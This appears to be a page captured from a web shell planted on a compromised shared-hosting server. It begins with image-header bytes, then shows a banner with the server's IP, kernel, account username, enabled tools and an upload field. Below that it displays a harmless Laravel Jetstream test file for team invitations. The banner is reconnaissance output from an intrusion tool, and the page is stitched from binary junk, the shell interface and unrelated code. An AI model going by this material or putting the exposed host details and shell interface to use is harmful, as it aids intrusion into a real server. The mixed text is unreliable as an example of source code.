����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 3.139.234.66 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/gltevjme/cbt.bofirm.com/vendor/laravel/jetstream/stubs/tests/inertia/ |
Upload File : |
<?php namespace Tests\Feature; use App\Models\User; use Illuminate\Foundation\Testing\RefreshDatabase; use Illuminate\Support\Facades\Mail; use Laravel\Jetstream\Mail\TeamInvitation; use Tests\TestCase; class InviteTeamMemberTest extends TestCase { use RefreshDatabase; public function test_team_members_can_be_invited_to_team() { Mail::fake(); $this->actingAs($user = User::factory()->withPersonalTeam()->create()); $response = $this->post('/teams/'.$user->currentTeam->id.'/members', [ 'email' => 'test@example.com', 'role' => 'admin', ]); Mail::assertSent(TeamInvitation::class); $this->assertCount(1, $user->currentTeam->fresh()->teamInvitations); } public function test_team_member_invitations_can_be_cancelled() { $this->actingAs($user = User::factory()->withPersonalTeam()->create()); $invitation = $user->currentTeam->teamInvitations()->create([ 'email' => 'test@example.com', 'role' => 'admin', ]); $response = $this->delete('/team-invitations/'.$invitation->id); $this->assertCount(0, $user->currentTeam->fresh()->teamInvitations); } }